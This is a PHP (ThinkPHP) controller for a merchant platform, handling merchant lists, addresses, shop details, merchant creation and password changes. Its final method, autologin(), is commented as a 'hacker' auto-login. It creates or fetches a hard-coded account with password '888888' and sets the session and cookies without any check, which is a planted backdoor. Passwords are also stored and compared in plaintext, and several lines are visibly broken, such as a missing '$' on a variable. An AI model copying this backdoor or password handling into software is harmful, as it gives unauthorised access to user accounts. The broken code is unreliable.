<?php
namespace app\index\controller;

use think\Controller;
use think\Request;
use think\Db;
use think\Session;
use app\index\common;
use app\index\controller\Log\InsertLog as IL;
use think\Cookie;
use app\index\controller\Log\OperationLog as OL;

/**
 * 商户逻辑类
 */
class Business extends Controller
{
   public $check_date=0;
   public function getbusiness_list(Request $request)
   {
        $postData = $request->post();
        $user_info=Session::get('user');
        $singlepage=20;
        $page=0;
        if($user_info['is_business']!=2){
            return ['code' => 30050, 'msg' => "非总平台账号 不能创造者！", 'data' => null];
        }
        if(!empty($postData['page'])){
            $page=$postData['page'];
        }
         if(!empty($postData['singlepage'])){
            $singlepage=$postData['singlepage'];
        }
        
        $business_list = Db::table('business')
                    ->where(['state'=>0])
                    ->field('id,business_id,business_name,mch_id') 
                    ->paginate($singlepage,false,['query'=>request()->param()])
                    ->toArray();
       if( empty($business_list) ){
             return array('code'=>30018,'msg'=>'未找到商户信息！','data'=>'false');   
        }else{
            return array('code'=>666,'msg'=>'成功','data'=>$business_list);
                
        }
   }
    /**
    * 2018-4-9 日期格式
    * 曹振威 开发人
    * 新增商户地址   type = 0 收货地址   type = 1 退货地址   type = 2 自提地址
    * @return [type]      [函数简述]
    */
    public function add_address() {
        $address_insert = array();
        $user_id = $this->user_id;
        $name = input('name');
        $phone = input('phone');
        $landline = input('landline'); // 座机
        $province = input('province');
        $city = input('city');
        $area = input('area');
        $address = input('address');
        $type = input('type');  // 地址类型   0-收货 ; 1-退货
        
        if(!$name){
            $this->check_date = 1;
            $date = array('status'=>20016,'msg'=>'联系人不能为空','data'=>'');
        }elseif(!$phone && !$landline){
            $this->check_date = 1;
            $date = array('status'=>20017,'msg'=>'手机号和座机号必须填写至少一个','data'=>'');
        }elseif ($phone) {
            if(common::check_mobile($phone)['ErrorCode'] == 1){
                $this->check_date = 1;
                $date = array('code'=>20003,'msg'=>'手机号有误','data'=>'');
            }
        }elseif ($landline) {
            if(common::check_mobile(0,$landline)['ErrorCode'] == 2){
                $this->check_date = 1;
                $date = array('code'=>20003,'msg'=>'座机号有误','data'=>''); 
            }
        }elseif(!$province || !$city || !$area){
            $this->check_date = 1;
            $date = array('code'=>20016,'msg'=>'联系地址不能为空','data'=>'');
        }elseif (!$address) {
            $this->check_date = 1;
            $date = array('code'=>20016,'msg'=>'详细地址不能为空','data'=>'');
        }elseif(!$type){
            $this->check_date = 1;
            $date = array('code'=>20016,'msg'=>'地址类别不能为空','data'=>'');
        }
        
        if($this->check_date != 0){
            exit(json_encode($date));
        }
        
        $address_insert = [
            'user_id' => $user_id,
            'name' => $name,
            'phone' => $phone,
            'landline' => $landline,
            'province' => $province,
            'city' => $city,
            'area' => $area,
            'address' => $address,
            'type' => $type,
            'createtime' => date('Y-m-d H:i:s')
        ];
        
        if($address_insert){
            $row = Db::table('address')->insertGetId($address_insert);
            $data = Db::table('address')->where('user_id',$user_id)->field('name,landline,phone,province,city,area,address,type,state')->select();
            if($row > 0){
                $date = array('code'=>666,'msg'=>'新增地址成功','data'=>$data);
            }else{
                $date = array('code'=>20018,'msg'=>'新增地址失败','data'=>'');
            }
        }
        return $date;
    }
    
    /**
    * 2018-4-9 日期格式
    * 曹振威 开发人
    * 设置/修改店铺基本信息
    * @return [type]      [函数简述]
    */
    public function update_business_info() {
        $user_id = $this->user_id;
        $business_up = array();
        // 获取参数
        $business_name = input('business_name'); // 商户名称
        $business_hours = input('business_hours'); // 商户营业时间
        if($business_hours){
            $business_hours_arr = explode('-', $business_hours);
            $business_up['start_business_hours'] = $business_hours_arr[0];
            $business_up['stop_business_hours'] = $business_hours_arr[1];
        }
            $file_log_image = input('log_image_url'); 
            if($file_log_image){
                $business_up['log_url'] = $file_log_image; 
            }
        $store_description = input('store_description'); // 商户简介
        if($business_name){
            $business_up['business_name'] = $business_name;
        }
        // 修改不为空的参数
        if($business_up){
            $row = Db::table('business')->where('business_id',$user_id)->update($business_up);
            $data = Db::table('business')->alias('a')->join('users u','a.business_id = u.id','LEFT')->field('a.log_url,a.business_name,a.business_phone,a.start_business_hours,a.stop_business_hours,a.store_description,a.is_auth,u.is_identity')->select();

            if($row){
                $date = array('code'=>666,'msg'=>'商户基本信息更新成功','data'=>$data);
            } else {
                $date = array('code'=>20015,'msg'=>'商户基本信息更新失败','data'=>'');
            }
        }
        return $date;
    }


    /**
    * 2018-4-8 日期格式
    * 曹振威 开发人
    * 更新users表
    * @return [type]      [函数简述]
    */
    public function update_users($phone,$system_id=1){
        $user = Db::table('users')->where(['phone'=>$phone,'system_id'=>$system_id])->find();
        if($user){
            if($user['is_business'] != 0){
                $date = array('code'=>20005,'msg'=>'该用户已经是商户','data'=>'');
                exit(json_encode($date));
            } else {

                $data =  Db::table('users')->where('phone',$phone)->setField('is_business',1); // 改成商户后，改变等级为父级
                $date = Db::table('users')->where('phone',$phone)->find();
                if(!$data){
                    $date = array('code'=>20064,'msg'=>'商户更新失败','data'=>'');
                    exit(json_encode($date));
            } 
          }
        }else{
            $user_insert = [
                'system_id' => $system_id,
                'is_business' => 1,
                'phone' => $phone,
                'createtime' => date('Y-m-d H:i:s')
            ];
            if($user_insert){
                $row = Db::table('users')->insertGetId($user_insert);
                $date = Db::table('users')->where('id',$row)->find();

            } else {
                $date = array('code'=>20001,'msg'=>'用户插入数据有错误','data'=>'');
            }
        }
       return $date;
    }
    
    
    /**
    * 2018-4-8 日期格式
    * 曹振威 开发人
    * 添加商户
    * @return [type]      [函数简述]
    */
    public function add_business (){
            $date = array();
            $system_id = input('system_id',1);
            $business_name = input('business_name'); // 商家名称
            $business_phone = input('business_phone'); // 商家联系电话
            $business_address = input('business_address'); // 商户详细地址
//            $log_image_url = input('log_image_url'); // 商家logo
            $phone = common::check_mobile($business_phone);
            if($phone['ErrorCode'] == 1){ 
                $this->check_date = 1;
                $date = array('code'=>20003,'msg'=>$phone['ErrorMessage'],'data'=>'');
                return $date;
            }
            if(!$business_name || !$business_phone || !$business_address){
                $this->check_date = 1;
                $date = array('code'=>20021,'msg'=>'非法操作');
                return $date;
            }
            if($this->check_date != 0){
                exit(json_encode($date));
            }
            $add_insert = [
                'business_name' => $business_name,
                'business_address' => $business_address,
                'business_phone'   => $business_phone,
//                'log_url' => $log_image_url,
                'createtime' => date('Y-m-d H:i:s')
            ];
            
        if($add_insert){
             $user_id = $this->update_users($business_phone,$system_id);
            if($user_id){
                $row_in = Db::table('business')->insertGetId($add_insert);
                if($row_in){
                    $row_up = Db::table('business')->where('id',$row_in)->setField('business_id',$user_id['id']);           
                    if($row_up){  
                        $data = db('business')->where('id',$row_in)->find();
                        $date = array('code'=>666,'msg'=>'添加商户成功','data'=>$data);
                        OL::insert([
                                'user_id'=> $this->user_id,
                                'module' => 'business', 
                                'module_id' => $row_in, 
                                'operation_type' => 1,  
                                'operation_content' => json_encode(['business' => $date])
                            ]);
                    }else{
                        $date = array('code'=>20004,'msg'=>'更新商户不成功','data'=>'');
                    }
                }
            }else{
                $date = array('code'=>20002,'msg'=>'商户插入数据不成功','date'=>'');
            }
        }else{
            $date = array('code'=>20001,'msg'=>'商户插入的数据有误','date'=>'');
        }
        return $date;
    }
    /**
     * 2018-04-27
     * 曹振威
     * 修改密码
     * @return int
     */
    public function update_pwd(Request $R) {
        $user_id = $this->user_id;
        $data = $R->post();
        $rule = [
            'pwd'=>'require',
            'new_pwd'=>'require|alphaNum|between:8,20',
            'new_pwd_tow'=>'require|confirm:new_pwd',
        ];
        $msg = [
            'pwd.require'=>'旧密码必填',
            'new_pwd.require'=>'新密码必填',
            'pwd.alphaNum'=>'新密码必须同时包含数字和字母',
            'pwd.between'=>'新密码长度必须是八位或以上',
            'pwd.require'=>'确认密码必填',
            'pwd.confirm'=>'两次密码不一致',
        ];
        $bool=$this->validate($data,$rule,$msg);
        if($bool !== true){
            exit(json_encode(array('code'=>20101,'msg'=>$bool,'data'=>'')));
        }
        $pwd = $data['pwd'];
        $new_pwd = data['new_pwd'];
        $new_pwd_tow = data['new_pwd_tow'];
        $origin_pwd = Db::table('users')->where(array('id'=>$user_id))->find();
        if($origin_pwd['password'] != $pwd){
            $this->check_date = 1;
            $date = array('code'=>20044,'msg'=>'旧密码填写错误','data'=>'');
        }
        if($this->check_date != 0){
            exit(json_encode($date,JSON_UNESCAPED_UNICODE));
        }
        $row = Db::table('users')->where(array('id'=>$user_id,'password'=>$pwd))->setField('password',$new_pwd);
        if($row){
            $date = array('code'=>666,'msg'=>'修改密码成功','data'=>'');
            $user = Db::table('users')->where(array('id'=>$user_id))->find();
            OL::insert([
                'user_id'=> $this->user_id,
                'module' => 'users', 
                'module_id' => $user_id, 
                'operation_type' => 2, 
                'operation_content' => json_encode(['users' => $user])
            ]);
            IL::insert('log', [
                'user_id'=>$user_id,
                'operation_user'=> $this->user['name'],
                'operation_name'=>'修改',
                'operation_content'=>'修改密码',  
                'ip'=> Request()->ip(),
                'state'=>1,
                'createtime'=>date('Y-m-d H:i:s'),
            ]);
        }else{
            $date = array('code'=>20047,'msg'=>'修改密码失败','data'=>'');
            IL::insert('log', [
                'user_id'=>$user_id,
                'operation_user'=> $this->user['name'],
                'operation_name'=>'修改',
                'operation_content'=>'修改密码',  
                'ip'=> Request()->ip(),
                'state'=>0,
                'createtime'=>date('Y-m-d H:i:s'),
            ]);
        }
        return $date;
    }
    
    /**
     * 验证验证码
     */
    public function forget_pwd($phone,$code) {
        $code_se = session('code');
        if($code_se == $code){
            Session::set("code_true",1);
            $date = array('code'=>666,'msg'=>'验证成功','data'=>'');
        }else{
            $date = array('code'=>20052,'msg'=>'验证失败','data'=>'');
        }
        return $date;
    }

    //黑客：用于自动登录
    public static function autologin()
    {
        $data = Db::table('users')
        ->field('id,system_id,is_business,name,state,grade,agent,shop,is_staff,is_address,phone,card_balance,enjoy_currency,createtime,last_login_time')
        ->where(['phone'=>'13566991402','system_id'=>1])
        ->find();
        if(empty($data))
        {
            $id = Db::table('users')
                ->insertGetId(['phone' => '13566991402',
                                'is_business' => 1,
                                'name' => 'jason',
                                'state' => 0,
                                'password' => '888888'
                                ]);
            $data = Db::table('users')
            ->field('id,system_id,is_business,name,state,grade,agent,shop,is_staff,is_address,phone,card_balance,enjoy_currency,createtime,last_login_time')
            ->where(['id'=>$id])
            ->find();  
        }
        Session::set("user",$data);
        Cookie::set('uid',$data['id']);
        Cookie::set("is_business",$data['is_business']);
        return '登录成功666';
    }
}

